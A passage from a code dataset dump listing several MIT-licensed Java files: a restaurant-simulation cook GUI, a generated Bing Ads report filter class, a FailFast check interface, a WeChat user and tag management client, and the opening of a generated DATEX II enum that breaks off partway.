repo_name
stringlengths 5
108
| path
stringlengths 6
333
| size
stringlengths 1
6
| content
stringlengths 4
977k
| license
stringclasses 15
values |
---|---|---|---|---|
ravis411/SimCity201 | src/restaurant/gui/luca/CookGui.java | 3472 | package restaurant.gui.luca;
import interfaces.MarketManager;
import java.awt.Color;
import java.awt.Font;
import java.awt.Graphics2D;
import restaurant.interfaces.luca.LucaCook;
import restaurant.luca.LucaCookRole;
import Person.Role.Employee;
import building.BuildingList;
public class CookGui implements Gui {
private LucaCook agent = null;
private int xPos = 700;//default waiter position
private int yPos = 60;
private int xDestination = 700, yDestination = 60;//default start position
static final int hostWidth = 20, hostHeight = 20;
private final static int xCookDefault= 700;
private final static int yCookDefault= 60;
private final static int xPlatingCord= 700;
private final static int yPlatingCord= 100;
private final static int xRefrigerator= 580;
private final static int yRefrigerator= 20;
public static final int xGrill = 450;
public static final int yGrill = 20;
private String orderBeingCarried = " ";
public CookGui(LucaCookRole cook) {
this.agent = cook;
xPos = 700;
yPos = 60;
}
public void updatePosition() {
if (xPos < xDestination)
{xPos++;
}
else if (xPos > xDestination)
{xPos--;
}
if (yPos < yDestination)
{yPos++;
}
else if (yPos > yDestination)
{yPos--;
}
else if (((xDestination == xRefrigerator) && (yDestination == yRefrigerator))&& ((xRefrigerator == xPos) && (yRefrigerator == yPos) ))
{
agent.msgAtRefrigerator();
}
if (xPos == xDestination && yPos == yDestination & (xDestination == xGrill) & (yDestination == yGrill)) {
agent.msgAtGrill();
}
else if (((xDestination == xPlatingCord) && (yDestination == yPlatingCord))&& ((xPlatingCord == xPos) && (yPlatingCord == yPos) ))
{
agent.msgAtPlatingArea();
}
else if (((xDestination == xCookDefault) && (yDestination == yCookDefault))&& ((xCookDefault == xPos) && (yCookDefault == yPos) ))
{
agent.msgAtDefaultPosition();
}
}
public void draw(Graphics2D g) {
g.setColor(Color.YELLOW);
g.fillRect(xPos, yPos, hostWidth, hostHeight);
g.setColor(Color.BLACK);
g.setFont(new Font("Serif", Font.PLAIN, 10));
g.drawString(orderBeingCarried, xPos, yPos +10);
}
public boolean isPresent() {
return true;
}
public void DoGoToGrill() {
xDestination = xGrill;
yDestination = yGrill;
}
public void DoGoToPlatingArea() {
xDestination = xPlatingCord;
yDestination = yPlatingCord;
}
public void DoGoToRefrigerator() {
xDestination = xRefrigerator;
yDestination = yRefrigerator;
}
public void DoGoToDefault() {
xDestination = xCookDefault;
yDestination = yCookDefault;
}
public int getXPos() {
return xPos;
}
public int getYPos() {
return yPos;
}
public void showOrderInAnimation(String orderChoice, String orderStatus) {
if (orderChoice == "")
{
orderBeingCarried= "";
}
else if (orderChoice == "Steak")
{
orderBeingCarried= "STK" + orderStatus;
}
else if (orderChoice == "Chicken")
{
orderBeingCarried= "CHK" + orderStatus;
}
else if (orderChoice == "Burger")
{
orderBeingCarried= "BGR" + orderStatus;
}
}
}
| mit |
feedeo/bingads-api | src/main/java/com/microsoft/bingads/v11/reporting/GeographicPerformanceReportFilter.java | 13499 | /**
* GeographicPerformanceReportFilter.java
* <p>
* This file was auto-generated from WSDL
* by the Apache Axis 1.4 Apr 22, 2006 (06:55:48 PDT) WSDL2Java emitter.
*/
package com.microsoft.bingads.v11.reporting;
public class GeographicPerformanceReportFilter implements java.io.Serializable {
// Type metadata
private static org.apache.axis.description.TypeDesc typeDesc =
new org.apache.axis.description.TypeDesc(GeographicPerformanceReportFilter.class, true);
static {
typeDesc.setXmlType(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "GeographicPerformanceReportFilter"));
org.apache.axis.description.ElementDesc elemField = new org.apache.axis.description.ElementDesc();
elemField.setFieldName("accountStatus");
elemField.setXmlName(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "AccountStatus"));
elemField.setXmlType(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "AccountStatusReportFilter"));
elemField.setMinOccurs(0);
elemField.setNillable(true);
typeDesc.addFieldDesc(elemField);
elemField = new org.apache.axis.description.ElementDesc();
elemField.setFieldName("adDistribution");
elemField.setXmlName(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "AdDistribution"));
elemField.setXmlType(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "AdDistributionReportFilter"));
elemField.setMinOccurs(0);
elemField.setNillable(true);
typeDesc.addFieldDesc(elemField);
elemField = new org.apache.axis.description.ElementDesc();
elemField.setFieldName("adGroupStatus");
elemField.setXmlName(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "AdGroupStatus"));
elemField.setXmlType(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "AdGroupStatusReportFilter"));
elemField.setMinOccurs(0);
elemField.setNillable(true);
typeDesc.addFieldDesc(elemField);
elemField = new org.apache.axis.description.ElementDesc();
elemField.setFieldName("campaignStatus");
elemField.setXmlName(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "CampaignStatus"));
elemField.setXmlType(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "CampaignStatusReportFilter"));
elemField.setMinOccurs(0);
elemField.setNillable(true);
typeDesc.addFieldDesc(elemField);
elemField = new org.apache.axis.description.ElementDesc();
elemField.setFieldName("countryCode");
elemField.setXmlName(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "CountryCode"));
elemField.setXmlType(new javax.xml.namespace.QName("http://www.w3.org/2001/XMLSchema", "string"));
elemField.setMinOccurs(0);
elemField.setNillable(true);
elemField.setItemQName(new javax.xml.namespace.QName("http://schemas.microsoft.com/2003/10/Serialization/Arrays", "string"));
typeDesc.addFieldDesc(elemField);
elemField = new org.apache.axis.description.ElementDesc();
elemField.setFieldName("languageCode");
elemField.setXmlName(new javax.xml.namespace.QName("https://bingads.microsoft.com/Reporting/v11", "LanguageCode"));
elemField.setXmlType(new javax.xml.namespace.QName("http://www.w3.org/2001/XMLSchema", "string"));
elemField.setMinOccurs(0);
elemField.setNillable(true);
elemField.setItemQName(new javax.xml.namespace.QName("http://schemas.microsoft.com/2003/10/Serialization/Arrays", "string"));
typeDesc.addFieldDesc(elemField);
}
private java.lang.String[] accountStatus;
private java.lang.String[] adDistribution;
private java.lang.String[] adGroupStatus;
private java.lang.String[] campaignStatus;
private java.lang.String[] countryCode;
private java.lang.String[] languageCode;
private java.lang.Object __equalsCalc = null;
private boolean __hashCodeCalc = false;
public GeographicPerformanceReportFilter() {
}
public GeographicPerformanceReportFilter(
java.lang.String[] accountStatus,
java.lang.String[] adDistribution,
java.lang.String[] adGroupStatus,
java.lang.String[] campaignStatus,
java.lang.String[] countryCode,
java.lang.String[] languageCode) {
this.accountStatus = accountStatus;
this.adDistribution = adDistribution;
this.adGroupStatus = adGroupStatus;
this.campaignStatus = campaignStatus;
this.countryCode = countryCode;
this.languageCode = languageCode;
}
/**
* Return type metadata object
*/
public static org.apache.axis.description.TypeDesc getTypeDesc() {
return typeDesc;
}
/**
* Get Custom Serializer
*/
public static org.apache.axis.encoding.Serializer getSerializer(
java.lang.String mechType,
java.lang.Class _javaType,
javax.xml.namespace.QName _xmlType) {
return
new org.apache.axis.encoding.ser.BeanSerializer(
_javaType, _xmlType, typeDesc);
}
/**
* Get Custom Deserializer
*/
public static org.apache.axis.encoding.Deserializer getDeserializer(
java.lang.String mechType,
java.lang.Class _javaType,
javax.xml.namespace.QName _xmlType) {
return
new org.apache.axis.encoding.ser.BeanDeserializer(
_javaType, _xmlType, typeDesc);
}
/**
* Gets the accountStatus value for this GeographicPerformanceReportFilter.
*
* @return accountStatus
*/
public java.lang.String[] getAccountStatus() {
return accountStatus;
}
/**
* Sets the accountStatus value for this GeographicPerformanceReportFilter.
*
* @param accountStatus
*/
public void setAccountStatus(java.lang.String[] accountStatus) {
this.accountStatus = accountStatus;
}
/**
* Gets the adDistribution value for this GeographicPerformanceReportFilter.
*
* @return adDistribution
*/
public java.lang.String[] getAdDistribution() {
return adDistribution;
}
/**
* Sets the adDistribution value for this GeographicPerformanceReportFilter.
*
* @param adDistribution
*/
public void setAdDistribution(java.lang.String[] adDistribution) {
this.adDistribution = adDistribution;
}
/**
* Gets the adGroupStatus value for this GeographicPerformanceReportFilter.
*
* @return adGroupStatus
*/
public java.lang.String[] getAdGroupStatus() {
return adGroupStatus;
}
/**
* Sets the adGroupStatus value for this GeographicPerformanceReportFilter.
*
* @param adGroupStatus
*/
public void setAdGroupStatus(java.lang.String[] adGroupStatus) {
this.adGroupStatus = adGroupStatus;
}
/**
* Gets the campaignStatus value for this GeographicPerformanceReportFilter.
*
* @return campaignStatus
*/
public java.lang.String[] getCampaignStatus() {
return campaignStatus;
}
/**
* Sets the campaignStatus value for this GeographicPerformanceReportFilter.
*
* @param campaignStatus
*/
public void setCampaignStatus(java.lang.String[] campaignStatus) {
this.campaignStatus = campaignStatus;
}
/**
* Gets the countryCode value for this GeographicPerformanceReportFilter.
*
* @return countryCode
*/
public java.lang.String[] getCountryCode() {
return countryCode;
}
/**
* Sets the countryCode value for this GeographicPerformanceReportFilter.
*
* @param countryCode
*/
public void setCountryCode(java.lang.String[] countryCode) {
this.countryCode = countryCode;
}
/**
* Gets the languageCode value for this GeographicPerformanceReportFilter.
*
* @return languageCode
*/
public java.lang.String[] getLanguageCode() {
return languageCode;
}
/**
* Sets the languageCode value for this GeographicPerformanceReportFilter.
*
* @param languageCode
*/
public void setLanguageCode(java.lang.String[] languageCode) {
this.languageCode = languageCode;
}
public synchronized boolean equals(java.lang.Object obj) {
if (!(obj instanceof GeographicPerformanceReportFilter)) return false;
GeographicPerformanceReportFilter other = (GeographicPerformanceReportFilter) obj;
if (obj == null) return false;
if (this == obj) return true;
if (__equalsCalc != null) {
return (__equalsCalc == obj);
}
__equalsCalc = obj;
boolean _equals;
_equals = true &&
((this.accountStatus == null && other.getAccountStatus() == null) ||
(this.accountStatus != null &&
java.util.Arrays.equals(this.accountStatus, other.getAccountStatus()))) &&
((this.adDistribution == null && other.getAdDistribution() == null) ||
(this.adDistribution != null &&
java.util.Arrays.equals(this.adDistribution, other.getAdDistribution()))) &&
((this.adGroupStatus == null && other.getAdGroupStatus() == null) ||
(this.adGroupStatus != null &&
java.util.Arrays.equals(this.adGroupStatus, other.getAdGroupStatus()))) &&
((this.campaignStatus == null && other.getCampaignStatus() == null) ||
(this.campaignStatus != null &&
java.util.Arrays.equals(this.campaignStatus, other.getCampaignStatus()))) &&
((this.countryCode == null && other.getCountryCode() == null) ||
(this.countryCode != null &&
java.util.Arrays.equals(this.countryCode, other.getCountryCode()))) &&
((this.languageCode == null && other.getLanguageCode() == null) ||
(this.languageCode != null &&
java.util.Arrays.equals(this.languageCode, other.getLanguageCode())));
__equalsCalc = null;
return _equals;
}
public synchronized int hashCode() {
if (__hashCodeCalc) {
return 0;
}
__hashCodeCalc = true;
int _hashCode = 1;
if (getAccountStatus() != null) {
for (int i = 0;
i < java.lang.reflect.Array.getLength(getAccountStatus());
i++) {
java.lang.Object obj = java.lang.reflect.Array.get(getAccountStatus(), i);
if (obj != null &&
!obj.getClass().isArray()) {
_hashCode += obj.hashCode();
}
}
}
if (getAdDistribution() != null) {
for (int i = 0;
i < java.lang.reflect.Array.getLength(getAdDistribution());
i++) {
java.lang.Object obj = java.lang.reflect.Array.get(getAdDistribution(), i);
if (obj != null &&
!obj.getClass().isArray()) {
_hashCode += obj.hashCode();
}
}
}
if (getAdGroupStatus() != null) {
for (int i = 0;
i < java.lang.reflect.Array.getLength(getAdGroupStatus());
i++) {
java.lang.Object obj = java.lang.reflect.Array.get(getAdGroupStatus(), i);
if (obj != null &&
!obj.getClass().isArray()) {
_hashCode += obj.hashCode();
}
}
}
if (getCampaignStatus() != null) {
for (int i = 0;
i < java.lang.reflect.Array.getLength(getCampaignStatus());
i++) {
java.lang.Object obj = java.lang.reflect.Array.get(getCampaignStatus(), i);
if (obj != null &&
!obj.getClass().isArray()) {
_hashCode += obj.hashCode();
}
}
}
if (getCountryCode() != null) {
for (int i = 0;
i < java.lang.reflect.Array.getLength(getCountryCode());
i++) {
java.lang.Object obj = java.lang.reflect.Array.get(getCountryCode(), i);
if (obj != null &&
!obj.getClass().isArray()) {
_hashCode += obj.hashCode();
}
}
}
if (getLanguageCode() != null) {
for (int i = 0;
i < java.lang.reflect.Array.getLength(getLanguageCode());
i++) {
java.lang.Object obj = java.lang.reflect.Array.get(getLanguageCode(), i);
if (obj != null &&
!obj.getClass().isArray()) {
_hashCode += obj.hashCode();
}
}
}
__hashCodeCalc = false;
return _hashCode;
}
}
| mit |
KeldOelykke/FailFast | Java/FailFast/src/starkcoder/failfast/checks/objects/longs/IObjectLongGreaterCheck.java | 2248 | /////////////////////////////////////////////////////////////////////////////////////////
//
// The MIT License (MIT)
//
// Copyright (c) 2014-2015 Keld Oelykke
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
//
/////////////////////////////////////////////////////////////////////////////////////////
package starkcoder.failfast.checks.objects.longs;
import starkcoder.failfast.checks.ICheck;
import starkcoder.failfast.checks.NCheck;
import starkcoder.failfast.fails.objects.longs.IObjectLongGreaterFail;
/**
* Specifies a greater check for Long.
*
* @author Keld Oelykke
*/
public interface IObjectLongGreaterCheck extends ICheck
{
/**
* Checks if references are not null && A > B.
*
* @param caller
* end-user instance initiating the check
* @param referenceA
* reference to check against reference B
* @param referenceB
* argument to check against reference A
* @return true, if references are not null && A > B, otherwise false
* @throws IllegalArgumentException
* if caller is null
*/
@NCheck(failSpecificationType = IObjectLongGreaterFail.class)
boolean isLongGreater(Object caller, Long referenceA, Long referenceB);
}
| mit |
ixfan/wechat-kit | wechatkit/src/main/java/me/ixfan/wechatkit/user/UserManager.java | 17427 | /*
* MIT License
*
* Copyright (c) 2016 Warren Fan
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package me.ixfan.wechatkit.user;
import com.google.gson.Gson;
import com.google.gson.JsonArray;
import com.google.gson.JsonObject;
import me.ixfan.wechatkit.WeChatKitComponent;
import me.ixfan.wechatkit.common.WeChatConstants;
import me.ixfan.wechatkit.exceptions.WeChatApiErrorException;
import me.ixfan.wechatkit.token.TokenManager;
import me.ixfan.wechatkit.user.model.UserTag;
import me.ixfan.wechatkit.user.model.WeChatFollower;
import me.ixfan.wechatkit.util.HttpClientUtil;
import org.apache.http.util.Args;
import org.apache.http.util.TextUtils;
import java.io.IOException;
import java.util.*;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
/**
* 用户管理
*
* Created by xfan on 16/3/26.
*/
public class UserManager extends WeChatKitComponent {
public UserManager(TokenManager tokenManager) {
super(tokenManager);
}
/**
* 获取关注者列表。关注者列表由一串 OpenID(加密后的微信号,每个用户对每个公众号的OpenID是唯一的)组成。一次拉取调用最多拉取10000个关注者的 OpenID,可以通过多次拉取的方式来满足需求。
*
* @param nextOpenId 第一个拉取的OPENID,不填默认从头开始拉取。
* @return 关注者的 OpenId 数组,最后一个为 <code>next_openid</code>。
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public String[] getFollowerList(String nextOpenId) throws WeChatApiErrorException {
JsonObject jsonResp;
try {
final String url = WeChatConstants.WECHAT_GET_USER_LIST
.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken());
jsonResp = HttpClientUtil.sendGetRequestAndGetJsonResponse(url.replace("${NEXT_OPENID}", null != nextOpenId ? nextOpenId:""));
} catch (IOException e) {
throw new RuntimeException(e);
}
if (jsonResp.has("count") && jsonResp.get("count").getAsInt() > 0) {
final ArrayList<String> openids = new ArrayList<>();
jsonResp.get("data").getAsJsonObject()
.get("openid").getAsJsonArray()
.forEach(e -> openids.add(e.getAsString()));
if (jsonResp.has("next_openid")) {
openids.add(jsonResp.get("next_openid").getAsString());
}
return openids.toArray(new String[0]);
} else {
throw new WeChatApiErrorException(jsonResp.get("errcode").getAsInt(), jsonResp.get("errmsg").getAsString());
}
}
/**
* 获取微信用户基本信息(包括 UnionId 机制)。同一用户,对同一个微信开放平台下的不同应用,UnionId 是相同的。
*
* @param openId 用户的 OpenId。
* @param lang 返回国家地区语言版本,zh_CN 简体,zh_TW 繁体,en 英语。默认为 zh_CN。
* @return {@link WeChatFollower}
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public WeChatFollower getUserInfo(final String openId, String lang) throws WeChatApiErrorException {
Args.notBlank(openId, "OpenId");
if (TextUtils.isBlank(lang)) {
lang = "zh_CN";
}
Args.check(lang.equals("zh_CN") || lang.equals("zh_TW") || lang.equals("en"), "'lang' 的值只能为 zh_CN, zh_TW 或 en.");
final String url = WeChatConstants.WECHAT_GET_USER_INFO.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken())
.replace("${OPENID}", openId)
.replace("${LANG}", lang);
JsonObject jsonResponse;
try {
jsonResponse = HttpClientUtil.sendGetRequestAndGetJsonResponse(url);
} catch (IOException e) {
throw new RuntimeException(e);
}
if (jsonResponse.has("subscribe")) {
return WeChatFollower.fromJson(jsonResponse);
} else {
throw new WeChatApiErrorException(jsonResponse.get("errcode").getAsInt(), jsonResponse.get("errmsg").getAsString());
}
}
/**
* 批量获取用户信息,最多支持一次拉取100条。
* @param openIds 用户的 OpenId 列表。
* @param lang 国家地区语言版本,zh_CN 简体,zh_TW 繁体,en 英语,默认为 zh-CN。
* @return {@link WeChatFollower}s
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public List<WeChatFollower> batchGetUserInfo(final List<String> openIds, String lang)
throws WeChatApiErrorException {
Args.notEmpty(openIds, "OpenIds");
if (TextUtils.isBlank(lang)) {
lang = "zh_CN";
}
Args.check(lang.equals("zh_CN") || lang.equals("zh_TW") || lang.equals("en"), "'lang' 的值只能为 zh_CN, zh_TW 或 en.");
final String finalLang = lang;
JsonObject jsonResponse;
try {
final List<Map<String, String>> data = new ArrayList<>();
openIds.forEach(openid -> {
Map<String, String> map = new HashMap<>();
map.put("openid", openid);
map.put("lang", finalLang);
data.add(map);
});
final Map<String, List<Map<String, String>>> jsonMap = new HashMap<>();
jsonMap.put("user_list", data);
Gson gson = new Gson();
jsonResponse = HttpClientUtil.sendPostRequestWithJsonBody(WeChatConstants.WECHAT_POST_BATCH_GET_USER_INFO.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken()), gson.toJson(jsonMap));
} catch (IOException e) {
throw new RuntimeException(e);
}
if (jsonResponse.has("user_info_list")) {
return WeChatFollower.batchFromJson(jsonResponse.get("user_info_list").getAsJsonArray());
} else {
throw new WeChatApiErrorException(jsonResponse.get("errcode").getAsInt(), jsonResponse.get("errmsg").getAsString());
}
}
/**
* 创建标签。
*
* @param tagName 标签名。30个字符以内。
* @return {@link UserTag} 创建的标签。
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public UserTag createTag(String tagName) throws WeChatApiErrorException {
Args.notEmpty(tagName, "Tag name");
final String url = WeChatConstants.WECHAT_POST_CREATE_TAG.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken());
final String jsonData = "{\"tag\":{\"name\":\"" + tagName + "\"}}";
JsonObject jsonResponse;
try {
jsonResponse = HttpClientUtil.sendPostRequestWithJsonBody(url, jsonData);
} catch (IOException e) {
throw new RuntimeException(e);
}
if (jsonResponse.has("tag")) {
return new UserTag(jsonResponse.getAsJsonObject("tag").get("id").getAsInt(), jsonResponse.getAsJsonObject("tag").get("name").getAsString());
} else {
throw new WeChatApiErrorException(jsonResponse.get("errcode").getAsInt(), jsonResponse.get("errmsg").getAsString());
}
}
/**
* 获取已创建的标签。
*
* @return 已有的标签列表。
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public List<UserTag> getExistingTags() throws WeChatApiErrorException {
final String url = WeChatConstants.WECHAT_GET_GET_TAGS.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken());
JsonObject jsonResp;
try {
jsonResp = HttpClientUtil.sendGetRequestAndGetJsonResponse(url);
} catch (IOException e) {
throw new RuntimeException(e);
}
if (jsonResp.has("tags")) {
Gson gson = new Gson();
return Arrays.asList(gson.fromJson(jsonResp.getAsJsonArray("tags"), UserTag[].class));
} else {
throw new WeChatApiErrorException(jsonResp.get("errcode").getAsInt(), jsonResp.get("errmsg").getAsString());
}
}
/**
* 更新标签。
*
* @param tagId 标签ID。
* @param tagName 新的标签名。
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public void updateTag(int tagId, String tagName) throws WeChatApiErrorException {
Args.notNegative(tagId, "Tag ID");
Args.notEmpty(tagName, "Tag name");
final String url = WeChatConstants.WECHAT_POST_UPDATE_TAG.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken());
final String jsonData = "{\"tag\":{\"id\":" + String.valueOf(tagId) + ",\"name\":\"" + tagName + "\"}}";
JsonObject jsonResp;
try {
jsonResp = HttpClientUtil.sendPostRequestWithJsonBody(url, jsonData);
} catch (IOException e) {
throw new RuntimeException(e);
}
if (0 != jsonResp.get("errcode").getAsInt()) {
throw new WeChatApiErrorException(jsonResp.get("errcode").getAsInt(), jsonResp.get("errmsg").getAsString());
}
}
/**
* 删除标签。
*
* @param tagId 标签ID。
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public void deleteTag(int tagId) throws WeChatApiErrorException {
Args.notNegative(tagId, "Tag ID");
final String url = WeChatConstants.WECHAT_POST_DELETE_TAG.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken());
final String jsonData = "{\"tag\":{\"id\":" + String.valueOf(tagId) + "}}";
JsonObject jsonResp;
try {
jsonResp = HttpClientUtil.sendPostRequestWithJsonBody(url, jsonData);
} catch (IOException e) {
throw new RuntimeException(e);
}
if (0 != jsonResp.get("errcode").getAsInt()) {
throw new WeChatApiErrorException(jsonResp.get("errcode").getAsInt(), jsonResp.get("errmsg").getAsString());
}
}
/**
* 获取标签下的粉丝列表。
*
* @param tagId 标签ID。
* @param nextOpenId 第一个拉取的OPENID,不填默认从头开始拉取。
* @return 关注者的 OpenId 数组,最后一个为 <code>next_openid</code>。
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public String[] getUsersWithTag(int tagId, String nextOpenId) throws WeChatApiErrorException {
Args.notNegative(tagId, "Tag ID");
final String url = WeChatConstants.WECHAT_GET_USER_WITH_TAG.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken());
final String jsonData = "{\"tagid\":${TAG_ID},\"next_openid\":\"${NEXT_OPENID}\"}";
JsonObject jsonResp;
try {
jsonResp = HttpClientUtil.sendPostRequestWithJsonBody(url, jsonData.replace("${TAG_ID}", String.valueOf(tagId)).replace("${NEXT_OPENID}", null != nextOpenId ? nextOpenId:""));
} catch (IOException e) {
throw new RuntimeException(e);
}
if (jsonResp.has("count")) {
final ArrayList<String> openids = new ArrayList<>();
if (jsonResp.get("count").getAsInt() > 0) {
jsonResp.get("data").getAsJsonObject()
.get("openid").getAsJsonArray()
.forEach(e -> openids.add(e.getAsString()));
if (jsonResp.has("next_openid")) {
openids.add(jsonResp.get("next_openid").getAsString());
}
}
return openids.toArray(new String[0]);
} else {
throw new WeChatApiErrorException(jsonResp.get("errcode").getAsInt(), jsonResp.get("errmsg").getAsString());
}
}
/**
* 批量为用户打标签。微信目前支持公众号为用户打上最多三个标签。
*
* @param tagId 标签ID。
* @param openIds 粉丝的OpenID,每次传入的openid列表个数不能超过50个。
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public void batchTaggingUsersWithTag(int tagId, List<String> openIds) throws WeChatApiErrorException {
Args.notNegative(tagId, "Tag ID");
Args.notEmpty(openIds, "OpenIds");
final String url = WeChatConstants.WECHAT_POST_BATCH_TAGGING.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken());
final String jsonData = "{\"openid_list\":[${OPENIDS}],\"tagid\":${TAG_ID}}";
JsonObject jsonResp;
try {
jsonResp = HttpClientUtil.sendPostRequestWithJsonBody(
url,
jsonData.replace("${OPENIDS}", openIds.stream().collect(Collectors.joining(",")))
.replace("${TAG_ID}", String.valueOf(tagId)));
} catch (IOException e) {
throw new RuntimeException(e);
}
if (jsonResp.get("errcode").getAsInt() != 0) {
throw new WeChatApiErrorException(jsonResp.get("errcode").getAsInt(), jsonResp.get("errmsg").getAsString());
}
}
/**
* 批量为用户取消标签。
*
* @param tagId 标签ID。
* @param openIds 粉丝的OpenID,每次传入的openid列表个数不能超过50个。
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public void batchUntaggingUsers(int tagId, List<String> openIds) throws WeChatApiErrorException {
Args.notNegative(tagId, "Tag ID");
Args.notEmpty(openIds, "OpenIds");
final String url = WeChatConstants.WECHAT_POST_BATCH_UNTAGGING.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken());
final String jsonData = "{\"openid_list\":[${OPENIDS}],\"tagid\":${TAG_ID}}";
JsonObject jsonResp;
try {
jsonResp = HttpClientUtil.sendPostRequestWithJsonBody(
url,
jsonData.replace("${OPENIDS}", openIds.stream().collect(Collectors.joining(",")))
.replace("${TAG_ID}", String.valueOf(tagId)));
} catch (IOException e) {
throw new RuntimeException(e);
}
if (jsonResp.get("errcode").getAsInt() != 0) {
throw new WeChatApiErrorException(jsonResp.get("errcode").getAsInt(), jsonResp.get("errmsg").getAsString());
}
}
/**
* 获取用户身上的标签列表。
*
* @param openId 粉丝的OpenID。
* @return 用户身上的标签ID列表。
* @throws WeChatApiErrorException 如果微信API调用失败,返回了错误码和错误信息,会抛出此异常。
*/
public int[] getTagsOfUser(String openId) throws WeChatApiErrorException {
Args.notEmpty(openId, "OpenID");
final String url = WeChatConstants.WECHAT_POST_GET_TAGS_OF_USER.replace("${ACCESS_TOKEN}", super.tokenManager.getAccessToken());
final String jsonData = "{\"openid\":\"${OPENID}\"}";
JsonObject jsonResp;
try {
jsonResp = HttpClientUtil.sendPostRequestWithJsonBody(url, jsonData.replace("${OPENID}", openId));
} catch (IOException e) {
throw new RuntimeException(e);
}
if (jsonResp.has("tagid_list")) {
JsonArray jsonArray = jsonResp.getAsJsonArray("tagid_list");
int[] tagIds = new int[jsonArray.size()];
if (jsonArray.size() > 0) {
IntStream.range(0, jsonArray.size())
.forEach(i -> tagIds[i] = jsonArray.get(i).getAsInt());
}
return tagIds;
} else {
throw new WeChatApiErrorException(jsonResp.get("errcode").getAsInt(), jsonResp.get("errmsg").getAsString());
}
}
}
| mit |
laidig/siri-20-java | src/eu/datex2/schema/_2_0rc1/_2_0/CauseTypeEnum.java | 4668 | //
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.8-b130911.1802
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2017.11.30 at 08:24:17 PM JST
//
package eu.datex2.schema._2_0rc1._2_0;
import javax.xml.bind.annotation.XmlEnum;
import javax.xml.bind.annotation.XmlEnumValue;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java class for CauseTypeEnum.
*
* <p>The following schema fragment specifies the expected content contained within this class.
* <p>
* <pre>
* <simpleType name="CauseTypeEnum">
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <enumeration value="accident"/>
* <enumeration value="congestion"/>
* <enumeration value="earlierAccident"/>
* <enumeration value="earlierEvent"/>
* <enumeration value="earlierIncident"/>
* <enumeration value="equipmentFailure"/>
* <enumeration value="excessiveHeat"/>
* <enumeration value="frost"/>
* <enumeration value="holidayTraffic"/>
* <enumeration value="infrastructureFailure"/>
